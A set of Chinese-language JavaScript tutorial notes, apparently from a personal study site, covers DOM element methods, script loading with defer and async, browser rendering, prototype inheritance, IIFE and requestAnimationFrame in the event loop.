element.removeEventListener('click', listener, false);

var event = new Event('click');
element.dispatchEvent(event);
```

#### `Element.scrollIntoView()`

`Element.scrollIntoView`方法滚动当前元素，进入浏览器的可见区域，类似于设置`window.location.hash`的效果。

```js
el.scrollIntoView(); // 等同于el.scrollIntoView(true)
el.scrollIntoView(false);
```

该方法可以接受一个布尔值作为参数。如果为`true`，表示元素的顶部与当前区域的可见部分的顶部对齐（前提是当前区域可滚动）；

如果为`false`，表示元素的底部与当前区域的可见部分的尾部对齐（前提是当前区域可滚动）。如果没有提供该参数，默认为`true`。

#### `Element.getBoundingClientRect()`

`Element.getBoundingClientRect`方法返回一个对象，提供当前元素节点的大小、位置等信息，基本上就是 CSS 盒状模型的所有信息。

```js
var rect = obj.getBoundingClientRect();
```

上面代码中，`getBoundingClientRect`方法返回的`rect`对象，具有以下属性（全部为只读）。

* `x`：元素左上角相对于视口的横坐标
* `y`：元素左上角相对于视口的纵坐标
* `height`：元素高度
* `width`：元素宽度
* `left`：元素左上角相对于视口的横坐标，与`x`属性相等
* `right`：元素右边界相对于视口的横坐标（等于`x + width`）
* `top`：元素顶部相对于视口的纵坐标，与`y`属性相等
* `bottom`：元素底部相对于视口的纵坐标（等于`y + height`）

由于元素相对于视口（viewport）的位置，会随着页面滚动变化，因此表示位置的四个属性值，都不是固定不变的。如果想得到绝对位置，可以将`left`属性加上`window.scrollX`，`top`属性加上`window.scrollY`。

注意，`getBoundingClientRect`方法的所有属性，都把边框（`border`属性）算作元素的一部分。也就是说，都是从边框外缘的各个点来计算。因此，`width`和`height`包括了元素本身 + `padding` + `border`。

另外，上面的这些属性，都是继承自原型的属性，`Object.keys`会返回一个空数组，这一点也需要注意。

```js
var rect = document.body.getBoundingClientRect();
Object.keys(rect) // []
```

上面代码中，`rect`对象没有自身属性，而`Object.keys`方法只返回对象自身的属性，所以返回了一个空数组。

#### `Element.getClientRects()`

`Element.getClientRects`方法返回一个类似数组的对象，里面是当前元素在页面上形成的所有矩形（所以方法名中的`Rect`用的是复数）。每个矩形都有`bottom`、`height`、`left`、`right`、`top`和`width`六个属性，表示它们相对于视口的四个坐标，以及本身的高度和宽度。

对于盒状元素（比如`<div>`和`<p>`），该方法返回的对象中只有该元素一个成员。对于行内元素（比如`<span>`、`<a>`、`<em>`），该方法返回的对象有多少个成员，取决于该元素在页面上占据多少行。这是它和`Element.getBoundingClientRect()`方法的主要区别，后者对于行内元素总是返回一个矩形。

```html
<span id="inline">Hello World Hello World Hello World</span>
```

上面代码是一个行内元素`<span>`，如果它在页面上占据三行，`getClientRects`方法返回的对象就有三个成员，如果它在页面上占据一行，`getClientRects`方法返回的对象就只有一个成员。

```js
var el = document.getElementById('inline');
el.getClientRects().length // 3
el.getClientRects()[0].left // 8
el.getClientRects()[0].right // 113.908203125
el.getClientRects()[0].bottom // 31.200000762939453
el.getClientRects()[0].height // 23.200000762939453
el.getClientRects()[0].width // 105.908203125
```

这个方法主要用于判断行内元素是否换行，以及行内元素的每一行的位置偏移。

注意，如果行内元素包括换行符，那么该方法会把换行符考虑在内。

```html
<span id="inline">
  Hello World
  Hello World
  Hello World
</span>
```

上面代码中，`<span>`节点内部有三个换行符，即使 HTML 语言忽略换行符，将它们显示为一行，`getClientRects()`方法依然会返回三个成员。如果行宽设置得特别窄，上面的`<span>`元素显示为6行，那么就会返回六个成员。

#### `Element.insertAdjacentElement()`

`Element.insertAdjacentElement`方法在相对于当前元素的指定位置，插入一个新的节点。该方法返回被插入的节点，如果插入失败，返回`null`。

```js
element.insertAdjacentElement(position, element);
```

`Element.insertAdjacentElement`方法一共可以接受两个参数，第一个参数是一个字符串，表示插入的位置，第二个参数是将要插入的节点。第一个参数只可以取如下的值。

* `beforebegin`：当前元素之前
* `afterbegin`：当前元素内部的第一个子节点前面
* `beforeend`：当前元素内部的最后一个子节点后面
* `afterend`：当前元素之后

注意，`beforebegin`和`afterend`这两个值，只在当前节点有父节点时才会生效。如果当前节点是由脚本创建的，没有父节点，那么插入会失败。

```js
var p1 = document.createElement('p')
var p2 = document.createElement('p')
p1.insertAdjacentElement('afterend', p2) // null
```

上面代码中，`p1`没有父节点，所以插入`p2`到它后面就失败了。

如果插入的节点是一个文档里现有的节点，它会从原有位置删除，放置到新的位置。

#### `Element.insertAdjacentHTML()`

#### `Element.insertAdjacentText()`

`Element.insertAdjacentHTML`方法用于将一个 HTML 字符串，解析生成 DOM 结构，插入相对于当前节点的指定位置。

```js
element.insertAdjacentHTML(position, text);
```

该方法接受两个参数，第一个是一个表示指定位置的字符串，第二个是待解析的 HTML 字符串。第一个参数只能设置下面四个值之一。

* `beforebegin`：当前元素之前
* `afterbegin`：当前元素内部的第一个子节点前面
* `beforeend`：当前元素内部的最后一个子节点后面
* `afterend`：当前元素之后

```js
// HTML 代码：<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
// 执行后的 HTML 代码：
// <div id="one">one</div><div id="two">two</div>
```

该方法只是在现有的 DOM 结构里面插入节点，这使得它的执行速度比`innerHTML`方法快得多。

注意，该方法不会转义 HTML 字符串，这导致它不能用来插入用户输入的内容，否则会有安全风险。

`Element.insertAdjacentText`方法在相对于当前节点的指定位置，插入一个文本节点，用法与`Element.insertAdjacentHTML`方法完全一致。

```js
// HTML 代码：<div id="one">one</div>
var d1 = document.getElementById('one');
d1.insertAdjacentText('afterend', 'two');
// 执行后的 HTML 代码：
// <div id="one">one</div>two
```

#### `Element.remove()`

`Element.remove`方法继承自 ChildNode 接口，用于将当前元素节点从它的父节点移除。

```js
var el = document.getElementById('mydiv');
el.remove();
```

上面代码将`el`节点从 DOM 树里面移除。

#### `Element.focus()`

#### `Element.blur()`

`Element.focus`方法用于将当前页面的焦点，转移到指定元素上。

```js
document.getElementById('my-span').focus();
```

该方法可以接受一个对象作为参数。参数对象的`preventScroll`属性是一个布尔值，指定是否将当前元素停留在原始位置，而不是滚动到可见区域。

```js
function getFocus() {
  document.getElementById('btn').focus({preventScroll:false});
}
```

上面代码会让`btn`元素获得焦点，并滚动到可见区域。

最后，从`document.activeElement`属性可以得到当前获得焦点的元素。

`Element.blur`方法用于将焦点从当前元素移除。

#### `Element.click()`

`Element.click`方法用于在当前元素上模拟一次鼠标点击，相当于触发了`click`事件。

---

---
url: /skill/y7ak1wi1/index.md
---
# JS 回顾 12
## 浏览器环境

JavaScript 是浏览器的内置脚本语言。也就是说，浏览器内置了 JavaScript 引擎，并且提供各种接口，让 JavaScript 脚本可以控制浏览器的各种功能。一旦网页内嵌了 JavaScript 脚本，浏览器加载网页，就会去执行脚本，从而达到操作浏览器的目的，实现网页的各种动态效果。

### 代码嵌入网页的方法

网页中嵌入 JavaScript 代码，主要有四种方法。

* `<script>` 元素直接嵌入代码。
* `<script>` 标签加载外部脚本
* 事件属性
* URL 协议

#### script 元素嵌入代码

`<script>` 元素内部可以直接写入 JavaScript 代码。

```html
<script>
  var x = 1 + 5;
  console.log(x);
</script>
```

`<script>` 标签有一个 `type` 属性，用来指定脚本类型。对 JavaScript 脚本来说，`type` 属性可以设为两种值。

* `text/javascript`：这是默认值，也是历史上一贯设定的值。如果你省略 `type` 属性，默认就是这个值。对于老式浏览器，设为这个值比较好。
* `application/javascript`：对于较新的浏览器，建议设为这个值。

```html
<script type="application/javascript">
  console.log('Hello World');
</script>
```

由于 `<script>` 标签默认就是 JavaScript 代码。所以，嵌入 JavaScript 脚本时，`type` 属性可以省略。

如果 `type` 属性的值，浏览器不认识，那么它不会执行其中的代码。利用这一点，可以在 `<script>` 标签之中嵌入任意的文本内容，只要加上一个浏览器不认识的 `type` 属性即可。

```html
<script id="mydata" type="x-custom-data">
  console.log('Hello World');
</script>
```

上面的代码，浏览器不会执行，也不会显示它的内容，因为不认识它的 `type` 属性。但是，这个 `<script>` 节点依然存在于 DOM 之中，可以使用 `<script>` 节点的 `text` 属性读出它的内容。

```js
document.getElementById('mydata').text
//   console.log('Hello World');
```

#### script 元素加载外部脚本

`<script>` 标签也可以指定加载外部的脚本文件。

```html
<script src="https://www.example.com/script.js"></script>
```

如果脚本文件使用了非英语字符，还应该注明字符的编码。

```html
<script charset="utf-8" src="https://www.example.com/script.js"></script>
```

所加载的脚本必须是纯的 JavaScript 代码，不能有 `HTML` 代码和 `<script>` 标签。

加载外部脚本和直接添加代码块，这两种方法不能混用。下面代码的 `console.log` 语句直接被忽略。

```html
<script charset="utf-8" src="example.js">
  console.log('Hello World!');
</script>
```

为了防止攻击者篡改外部脚本，`script` 标签允许设置一个 `integrity` 属性，写入该外部脚本的 Hash 签名，用来验证脚本的一致性。

```html
<script src="/assets/application.js"
  integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs=">
</script>
```

上面代码中，`script` 标签有一个 `integrity` 属性，指定了外部脚本 `/assets/application.js` 的 SHA256 签名。一旦有人改了这个脚本，导致 SHA256 签名不匹配，浏览器就会拒绝加载。

#### 事件属性

网页元素的事件属性（比如 `onclick` 和 `onmouseover`），可以写入 JavaScript 代码。当指定事件发生时，就会调用这些代码。

```html
<button id="myBtn" onclick="console.log(this.id)">点击</button>
```

上面的事件属性代码只有一个语句。如果有多个语句，使用分号分隔即可。

#### URL 协议

URL 支持 `javascript:` 协议，即在 URL 的位置写入代码，使用这个 URL 的时候就会执行 JavaScript 代码。

```html
<a href="javascript:console.log('Hello')">点击</a>
```

浏览器的地址栏也可以执行 `javascript:` 协议。将 `javascript:console.log('Hello')` 放入地址栏，按回车键也会执行这段代码。

如果 JavaScript 代码返回一个字符串，浏览器就会新建一个文档，展示这个字符串的内容，原有文档的内容都会消失。

```html
<a href="javascript: new Date().toLocaleTimeString();">点击</a>
```

上面代码中，用户点击链接以后，会打开一个新文档，里面有当前时间。

如果返回的不是字符串，那么浏览器不会新建文档，也不会跳转。

```html
<a href="javascript: console.log(new Date().toLocaleTimeString())">点击</a>
```

上面代码中，用户点击链接后，网页不会跳转，只会在控制台显示当前时间。

`javascript:` 协议的常见用途是书签脚本 Bookmarklet。由于浏览器的书签保存的是一个网址，所以 `javascript:` 网址也可以保存在里面，用户选择这个书签的时候，就会在当前页面执行这个脚本。为了防止书签替换掉当前文档，可以在脚本前加上 `void`，或者在脚本最后加上 `void 0`。

```html
<a href="javascript: void new Date().toLocaleTimeString();">点击</a>
<a href="javascript: new Date().toLocaleTimeString();void 0;">点击</a>
```

上面这两种写法，点击链接后，执行代码都不会网页跳转。

### script 元素

#### 工作原理

浏览器加载 JavaScript 脚本，主要通过 `<script>` 元素完成。正常的网页加载流程是这样的。

1. 浏览器一边下载 HTML 网页，一边开始解析。也就是说，不等到下载完，就开始解析。
2. 解析过程中，浏览器发现 `<script>` 元素，就暂停解析，把网页渲染的控制权转交给 JavaScript 引擎。
3. 如果 `<script>` 元素引用了外部脚本，就下载该脚本再执行，否则就直接执行代码。
4. JavaScript 引擎执行完毕，控制权交还渲染引擎，恢复往下解析 HTML 网页。

加载外部脚本时，浏览器会暂停页面渲染，等待脚本下载并执行完成后，再继续渲染。原因是 JavaScript 代码可以修改 DOM，所以必须把控制权让给它，否则会导致复杂的线程竞赛的问题。

如果外部脚本加载时间很长（一直无法完成下载），那么浏览器就会一直等待脚本下载完成，造成网页长时间失去响应，浏览器就会呈现“假死”状态，这被称为“阻塞效应”。

为了避免这种情况，较好的做法是将 `<script>` 标签都放在页面底部，而不是头部。这样即使遇到脚本失去响应，网页主体的渲染也已经完成了，用户至少可以看到内容，而不是面对一张空白的页面。如果某些脚本代码非常重要，一定要放在页面头部的话，最好直接将代码写入页面，而不是连接外部脚本文件，这样能缩短加载时间。

脚本文件都放在网页尾部加载，还有一个好处。因为在 DOM 结构生成之前就调用 DOM 节点，JavaScript 会报错，如果脚本都在网页尾部加载，就不存在这个问题，因为这时 DOM 肯定已经生成了。

```html
<head>
    <script>
        console.log(document.body.innerHTML);
    </script>
</head>
<body>
</body>
```

上面代码执行时会报错，因为此时 `document.body` 元素还未生成。

一种解决方法是设定 `DOMContentLoaded` 事件的回调函数。

```html
<head>
  <script>
    document.addEventListener(
      'DOMContentLoaded',
      function (event) {
        console.log(document.body.innerHTML);
      }
    );
  </script>
</head>
```

上面代码中，指定 `DOMContentLoaded` 事件发生后，才开始执行相关代码。`DOMContentLoaded` 事件只有在 DOM 结构生成之后才会触发。

另一种解决方法是，使用 `<script>` 标签的 `onload` 属性。当 `<script>` 标签指定的外部脚本文件下载和解析完成，会触发一个 `load` 事件，可以把所需执行的代码，放在这个事件的回调函数里面。

```html
<script src="jquery.min.js" onload="console.log(document.body.innerHTML)">
</script>
```

但是，如果将脚本放在页面底部，就可以完全按照正常的方式写，上面两种方式都不需要。

```html
<body>
  <!-- 其他代码  -->
  <script>
    console.log(document.body.innerHTML);
  </script>
</body>
```

如果有多个 `script` 标签，比如下面这样。

```html
<script src="a.js"></script>
<script src="b.js"></script>
```

浏览器会同时并行下载 `a.js` 和 `b.js`，但是，执行时会保证先执行 `a.js`，然后再执行 `b.js`，即使后者先下载完成，也是如此。也就是说，脚本的执行顺序由它们在页面中的出现顺序决定，这是为了保证脚本之间的依赖关系不受到破坏。当然，加载这两个脚本都会产生“阻塞效应”，必须等到它们都加载完成，浏览器才会继续页面渲染。

解析和执行 CSS，也会产生阻塞。Firefox 浏览器会等到脚本前面的所有样式表，都下载并解析完，再执行脚本；Webkit 则是一旦发现脚本引用了样式，就会暂停执行脚本，等到样式表下载并解析完，再恢复执行。

此外，**对于来自同一个域名的资源，比如脚本文件、样式表文件、图片文件等，浏览器一般有限制，同时最多下载 6～20 个资源**，即最多同时打开的 TCP 连接有限制，这是为了防止对服务器造成太大压力。**如果是来自不同域名的资源，就没有这个限制**。所以，通常把静态文件放在不同的域名之下，以加快下载速度。

#### defer 属性

为了解决脚本文件下载阻塞网页渲染的问题，一个方法是对 `<script>` 元素加入 `defer` 属性。它的作用是延迟脚本的执行，等到 DOM 加载生成后，再执行脚本。

```html
<script src="a.js" defer></script>
<script src="b.js" defer></script>
```

上面代码中，只有等到 DOM 加载完成后，才会执行 `a.js` 和 `b.js`。

`defer` 属性的运行流程如下。

1. 浏览器开始解析 HTML 网页。
2. 解析过程中，发现带有 `defer` 属性的 `<script>` 元素。
3. 浏览器继续往下解析 HTML 网页，同时并行下载 `<script>` 元素加载的外部脚本。
4. 浏览器完成解析 HTML 网页，此时再回过头执行已经下载完成的脚本。

有了 `defer` 属性，浏览器下载脚本文件的时候，不会阻塞页面渲染。下载的脚本文件在 `DOMContentLoaded` 事件触发前执行（即刚刚读取完 `</html>` 标签），而且可以保证执行顺序就是它们在页面上出现的顺序。

对于内置而不是加载外部脚本的 `script` 标签，以及动态生成的 `script` 标签，`defer` 属性不起作用。另外，使用 `defer` 加载的外部脚本不应该使用 `document.write` 方法。

#### async 属性

解决“阻塞效应”的另一个方法是对 `<script>` 元素加入 `async` 属性。

```html
<script src="a.js" async></script>
<script src="b.js" async></script>
```

`async` 属性的作用是，使用另一个进程下载脚本，下载时不会阻塞渲染。

1. 浏览器开始解析 HTML 网页。
2. 解析过程中，发现带有 `async` 属性的 `script` 标签。
3. 浏览器继续往下解析 HTML 网页，同时并行下载 `<script>` 标签中的外部脚本。
4. 脚本下载完成，浏览器暂停解析 HTML 网页，开始执行下载的脚本。
5. 脚本执行完毕，浏览器恢复解析 HTML 网页。

`async` 属性可以保证脚本下载的同时，浏览器继续渲染。**需要注意的是，一旦采用这个属性，就无法保证脚本的执行顺序。哪个脚本先下载结束，就先执行那个脚本**。另外，使用 `async` 属性的脚本文件里面的代码，不应该使用 `document.write` 方法。

`defer` 属性和 `async` 属性到底应该使用哪一个？

一般来说，如果脚本之间没有依赖关系，就使用 `async` 属性，如果脚本之间有依赖关系，就使用 `defer` 属性。如果同时使用 `async` 和 `defer` 属性，后者不起作用，浏览器行为由 `async` 属性决定。

#### 脚本的动态加载

`<script>` 元素还可以动态生成，生成后再插入页面，从而实现脚本的动态加载。

```js
['a.js', 'b.js'].forEach(function(src) {
  var script = document.createElement('script');
  script.src = src;
  document.head.appendChild(script);
});
```

这种方法的好处是，动态生成的 `script` 标签不会阻塞页面渲染，也就不会造成浏览器假死。但是问题在于，这种方法无法保证脚本的执行顺序，哪个脚本文件先下载完成，就先执行哪个。

如果想避免这个问题，可以设置 async 属性为 `false`。

```js
['a.js', 'b.js'].forEach(function(src) {
  var script = document.createElement('script');
  script.src = src;
  script.async = false;
  document.head.appendChild(script);
});
```

上面的代码不会阻塞页面渲染，而且可以保证 `b.js` 在 `a.js` 后面执行。不过需要注意的是，在这段代码后面加载的脚本文件，会因此都等待 `b.js` 执行完成后再执行。

如果想为动态加载的脚本指定回调函数，可以使用下面的写法。

```js
function loadScript(src, done) {
  var js = document.createElement('script');
  js.src = src;
  js.onload = function() {
    done();
  };
  js.onerror = function() {
    done(new Error('Failed to load script ' + src));
  };
  document.head.appendChild(js);
}
```

#### 加载使用的协议

如果不指定协议，浏览器默认采用 HTTP 协议下载。

```html
<script src="example.js"></script>
```

上面的`example.js`默认就是采用 HTTP 协议下载，如果要采用 HTTPS 协议下载，必需写明。

```html
<script src="https://example.js"></script>
```

但是有时我们会希望，根据页面本身的协议来决定加载协议，这时可以采用下面的写法。

```html
<script src="//example.js"></script>
```

### 浏览器的组成

浏览器的核心是两部分：渲染引擎和 JavaScript 解释器（又称 JavaScript 引擎）。

#### 渲染引擎

渲染引擎的主要作用是，将网页代码渲染为用户视觉可以感知的平面文档。

不同的浏览器有不同的渲染引擎。

* Firefox：Gecko 引擎
* Safari：WebKit 引擎
* Chrome：Blink 引擎
* IE: Trident 引擎
* Edge: EdgeHTML 引擎

渲染引擎处理网页，通常分成四个阶段。

1. 解析代码：HTML 代码解析为 DOM，CSS 代码解析为 CSSOM（CSS Object Model）。
2. 对象合成：将 DOM 和 CSSOM 合成一棵渲染树（render tree）。
3. 布局：计算出渲染树的布局（layout）。
4. 绘制：将渲染树绘制到屏幕。

以上四步并非严格按顺序执行，往往第一步还没完成，第二步和第三步就已经开始了。所以，会看到这种情况：网页的 HTML 代码还没下载完，但浏览器已经显示出内容了。

#### 重流和重绘

渲染树转换为网页布局，称为“布局流”（flow）；布局显示到页面的这个过程，称为“绘制”（paint）。它们都具有阻塞效应，并且会耗费很多时间和计算资源。

页面生成以后，脚本操作和样式表操作，都会触发“重流”（reflow）和“重绘”（repaint）。用户的互动也会触发重流和重绘，比如设置了鼠标悬停（`a:hover`）效果、页面滚动、在输入框中输入文本、改变窗口大小等等。

重流和重绘并不一定一起发生，重流必然导致重绘，重绘不一定需要重流。比如改变元素颜色，只会导致重绘，而不会导致重流；改变元素的布局，则会导致重绘和重流。

大多数情况下，浏览器会智能判断，将重流和重绘只限制到相关的子树上面，最小化所耗费的代价，而不会全局重新生成网页。

作为开发者，应该尽量设法降低重绘的次数和成本。比如，尽量不要变动高层的 DOM 元素，而以底层 DOM 元素的变动代替；再比如，重绘`table`布局和`flex`布局，开销都会比较大。

```js
var foo = document.getElementById('foobar');

foo.style.color = 'blue';
foo.style.marginTop = '30px';
```

上面的代码只会导致一次重绘，因为浏览器会累积 DOM 变动，然后一次性执行。

下面是一些优化技巧。

* 读取 DOM 或者写入 DOM，尽量写在一起，不要混杂。不要读取一个 DOM 节点，然后立刻写入，接着再读取一个 DOM 节点。
* 缓存 DOM 信息。
* 不要一项一项地改变样式，而是使用 CSS class 一次性改变样式。
* 使用`documentFragment`操作 DOM
* 动画使用`absolute`定位或`fixed`定位，这样可以减少对其他元素的影响。
* 只在必要时才显示隐藏元素。
* 使用`window.requestAnimationFrame()`，因为它可以把代码推迟到下一次重绘之前执行，而不是立即要求页面重绘。
* 使用虚拟 DOM（virtual DOM）库。

下面是一个`window.requestAnimationFrame()`对比效果的例子。

```js
// 重流代价高
function doubleHeight(element) {
  var currentHeight = element.clientHeight;
  element.style.height = (currentHeight * 2) + 'px';
}

all_my_elements.forEach(doubleHeight);

// 重绘代价低
function doubleHeight(element) {
  var currentHeight = element.clientHeight;

  window.requestAnimationFrame(function () {
    element.style.height = (currentHeight * 2) + 'px';
  });
}

all_my_elements.forEach(doubleHeight);
```

上面的第一段代码，每读一次 DOM，就写入新的值，会造成不停的重排和重流。第二段代码把所有的写操作，都累积在一起，从而 DOM 代码变动的代价就最小化了。

#### JavaScript 引擎

JavaScript 引擎的主要作用是，读取网页中的 JavaScript 代码，对其处理后运行。

JavaScript 是一种解释型语言，也就是说，它不需要编译，由解释器实时运行。这样的好处是运行和修改都比较方便，刷新页面就可以重新解释；缺点是每次运行都要调用解释器，系统开销较大，运行速度慢于编译型语言。

为了提高运行速度，目前的浏览器都将 JavaScript 进行一定程度的编译，生成类似字节码（bytecode）的中间代码，以提高运行速度。

早期，浏览器内部对 JavaScript 的处理过程如下：

1. 读取代码，进行词法分析（Lexical analysis），将代码分解成词元（token）。
2. 对词元进行语法分析（parsing），将代码整理成“语法树”（syntax tree）。
3. 使用“翻译器”（translator），将代码转为字节码（bytecode）。
4. 使用“字节码解释器”（bytecode interpreter），将字节码转为机器码。

逐行解释将字节码转为机器码，是很低效的。为了提高运行速度，现代浏览器改为采用“即时编译”（Just In Time compiler，缩写 JIT），即字节码只在运行时编译，用到哪一行就编译哪一行，并且把编译结果缓存（inline cache）。通常，一个程序被经常用到的，只是其中一小部分代码，有了缓存的编译结果，整个程序的运行速度就会显著提升。

字节码不能直接运行，而是运行在一个虚拟机（Virtual Machine）之上，一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码，有的 JavaScript 虚拟机基于源码，即只要有可能，就通过 JIT（just in time）编译器直接把源码编译成机器码运行，省略字节码步骤。这一点与其他采用虚拟机（比如 Java）的语言不尽相同。这样做的目的，是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机：

---

---
url: /skill/ygi06acr/index.md
---
# JS 回顾 L
## 构造函数 & 原型体系

**构造函数**：用来“批量造对象”的函数（配合 `new`）

**原型（prototype）**：构造函数给实例共享方法/属性的地方

**隐式原型（\[\[Prototype]] / `__proto__`）**：实例指向其原型的链接

**原型链**：属性查找一路沿着 `[[Prototype]]` 往上找，直到 `null`

**继承**：让一个类型“复用另一个类型”的属性/方法（本质：链接原型链 + 复用构造逻辑）

***

**构造函数（Constructor）**

```js
function Person(name) {
  this.name = name;
}
const obj = new Person("A");
```

`new Person("A")` 背后大概做了四步：

1. 创建一个新对象 `obj`
2. 把 `obj.[[Prototype]]` 指向 `Person.prototype`
3. 执行构造函数：`Person.call(obj, "A")`，返回 `obj`（除非构造函数显式返回一个对象）

构造函数里 `this` 指向 **新创建的实例对象**，不用 `new` 调用会出问题（严格模式下 `this` 是 `undefined`）

***

**原型（prototype）**

每个函数都有 `prototype`（用于 new）

```js
Person.prototype.sayHi = function () {
  console.log("hi");
};
```

`Person.prototype` 是一个对象

**所有由 `new Person()` 创建的实例** 都会共享 `Person.prototype` 上的方法，好处：省内存（方法不用每个实例都拷贝一份）

每个对象都有 `[[Prototype]]`（隐式原型），实例对象上有一条“指向原型”的链接：标准访问：`Object.getPrototypeOf(obj)`，非标准（但常见）：`obj.__proto__`

```js
Object.getPrototypeOf(p) === Person.prototype  // true
```

***

**原型链（Prototype Chain）**

属性查找规则

访问 `p.xxx` 时：

1. 先看 `p` 自己有没有 `xxx`
2. 没有就去 `p.[[Prototype]]`（也就是 `Person.prototype`）找
3. 还没有继续往上找（`Object.prototype`）
4. 直到 `null` 为止

链条通常长这样：

```js
p
  -> Person.prototype
      -> Object.prototype
          -> null
```

```js
p instanceof Person // true
```

本质：判断 `Person.prototype` 是否出现在 `p` 的原型链上。

***

**constructor**

```js
Person.prototype.constructor === Person // true（默认）
```

`constructor` 是原型对象上默认带的属性，指回“构造函数本身”

**继承**

目标：让 `Child` 继承 `Parent`：

* 继承 **实例属性**（构造函数里 `this.xxx`）
* 继承 **原型方法**（`Parent.prototype.xxx`）

经典写法：组合继承

```js
function Parent(name) {
  this.name = name;
}
Parent.prototype.say = function () {
  console.log(this.name);
};

function Child(name, age) {
  Parent.call(this, name); // 继承实例属性
  this.age = age;
}

// 继承原型方法（关键）
Child.prototype = Object.create(Parent.prototype);
// 修正 constructor
Child.prototype.constructor = Child;

Child.prototype.play = function () {
  console.log("play");
};
```

`Object.create`  会创建一个新对象，并让这个新对象的 `[[Prototype]]` 指向 `Parent.prototype`，也就是“搭起原型链”。

***

**ES6 class 其实是语法糖**

```js
class Parent {
  constructor(name) { this.name = name; }
  say() { console.log(this.name); }
}

class Child extends Parent {
  constructor(name, age) {
    super(name); // Parent.call(this, name)
    this.age = age;
  }
  play() { console.log("play"); }
}
```

`extends` 帮你处理原型链，`super()` 帮你调用父构造函数，底层仍然是原型那套机制

## 数组

`String.prototype.replaceAll()` 用正则表达式或搜索字符串替换字符串中所有子字符串的实例。

`for-of` 用于遍历数组或伪数组（`document.querySelectorAll`）

`Array.isArray()` 判断该变量是不是一个真数组

`Array.from()` 用于将伪数组对象或可迭代对象转换为数组

## IIFE

**IIFE（Immediately Invoked Function Expression，立即调用函数表达式）**，它主要是为了解决 **作用域隔离** 和 **全局变量污染** 这些老问题的。

```js
(function () {
  // 这里是一个“独立的小世界”
  const x = 1;
  console.log(x);
})(); // 立刻执行
```

或者箭头版：

```js
(() => {
  // ...
})();
```

IIFE 执行时会创建一个函数作用域（现在也可以理解为一个“封闭块”），里面定义的变量：**外面访问不到**，**不会跑到全局去**

```js
(function () {
  var a = 123;
})();
console.log(a); // ReferenceError: a is not defined
```

这就是它的核心用途：**把变量关起来**。

**防止全局变量被污染**：以前（尤其在 ES6 之前）`var` 没有块级作用域，写多了就很容易：不小心在全局挂一堆东西（或覆盖别人），多个脚本文件变量撞名

IIFE 的经典用途就是：

* **库/插件内部用 IIFE 把内部变量封装起来**
* 只往外暴露一个必要的全局入口（比如 `window.$`）

```js
const MyLib = (function () {
  const secret = "hidden";
  function hi() { return "hello"; }

  return { hi }; // 只暴露 hi
})();
console.log(MyLib.hi()); // hello
// console.log(secret); // 访问不到
```

`var`：**函数作用域**，IIFE 能隔离 `var`

`let/const`：**块级作用域**，即使不用 IIFE，也能用 `{}` 隔离

## requestAnimationFrame

`requestAnimationFrame(fn)`：把 `fn` 放进“下一次浏览器准备渲染这一帧之前”执行的队列里。

不是立刻执行，不是定时器，不是宏任务 / 微任务之一

它是 **浏览器渲染流程专用的一类回调**。

浏览器主线程在不停做一个循环（事件循环 + 渲染管线），**一次循环 ≈ 一次“机会”去画一帧**。

一个完整的大循环，**按顺序是这样的**（这是重点）：

1️⃣ **执行一个【宏任务（Task）】**

来源包括：

* `script`（最初的 JS）
* `setTimeout / setInterval`
* DOM 事件（click、scroll…）
* 网络回调（fetch 完成）

```js
setTimeout(() => {
  console.log('timeout');
}, 0);
```

⚠️ **一次循环只执行一个宏任务**

2️⃣ **清空【微任务队列（Microtask）】**

包括：

* `Promise.then / catch / finally`
* `queueMicrotask`
* `MutationObserver`

规则：**微任务会一直执行，直到队列清空**

```js
Promise.resolve().then(() => {
  console.log('microtask');
});
```

⚠️ **如果微任务不停加自己 → 页面会卡死（渲染永远等不到）**

3️⃣ **现在，JS 暂时“安静”了**

此时浏览器会问一句：👉 **“我现在要不要渲染一帧？”**

* 页面有变化（DOM / style 改了）
* 到了屏幕刷新时间（比如 16.7ms）

如果 **不需要** → 直接回到下一轮宏任务

如果 **需要** → 进入渲染阶段

**`requestAnimationFrame` 就在“真正渲染之前”插一脚**。

3️⃣ **渲染前检查**

执行所有 `requestAnimationFrame` 回调

```js
requestAnimationFrame(() => {
  // 此时：
  // - 微任务已经执行完
  // - 这一帧还没画
});
```

**这是 rAF 的唯一执行点**。

渲染流水线开始，按顺序：

1. style（计算 CSS）
2. layout（回流）
3. paint（绘制）
4. composite（合成）

然后：**屏幕显示这一帧**

***

rAF 不是宏任务（不会进入 task queue），也不是微任务（不会插队 Promise），是 **渲染前回调队列（render callback queue）**

可以把它理解成：**浏览器在“准备画这一帧”之前，专门开的一个小窗口**

**rAF 受宏任务影响**，如果宏任务太长：

```js
setTimeout(() => {
  const start = Date.now();
  while (Date.now() - start < 50) {} // 卡 50ms
}, 0);
```

结果：

* 主线程被占用
* 下一帧渲染被推迟
* rAF 也只能等

**rAF 永远等 JS 空闲**

**rAF 受微任务影响**，而且微任务优先级更高。

```js
requestAnimationFrame(() => {
  console.log('rAF');
});

Promise.resolve().then(() => {
  console.log('microtask');
});	

// 执行顺序：
// microtask
// rAF
```

原因：微任务 **必须清空**，rAF **必须等微任务结束**

**rAF 不会在同一轮事件循环里执行**，rAF 一定在 **下一帧渲染前**

```js
console.log('start');

requestAnimationFrame(() => {
  console.log('rAF');
});

console.log('end');
// 输出
// start
// end
// rAF
```

**requestAnimationFrame**

* 只在 **需要渲染时执行**
* 和屏幕刷新率对齐（60Hz / 120Hz）
* 标签页不可见时会 **暂停**
* 天然适合动画 / 视觉更新

**经典动画写法（递归 rAF）**

```js
function animate(time) {
  // time 是高精度时间戳
  // 用来算位移、速度

  update(time);
  render();

  requestAnimationFrame(animate);
}

requestAnimationFrame(animate);
```

注意：

* rAF **不会自动循环**
* 每一帧你都得“再申请一次”

**总结**

`requestAnimationFrame` = 渲染前回调

执行时机：**宏任务 → 微任务 → rAF → 渲染**

不属于事件循环队列，只在浏览器准备绘制新一帧时执行，是动画 / DOM 可视更新的最优选择

---

---
url: /skill/yuivkmea/index.md
---
# 一个新 JS 特性要经历什么
## 专业名称

### TC39

**TC39 = Technical Committee 39**

ECMAScript（也就是 JS 语言本身）的**标准制定委员会**

成员是谁？

* 浏览器厂商（Chrome / Firefox / Safari）
* 大厂（微软、Google、Apple、Meta…）
* 语言专家、社区代表

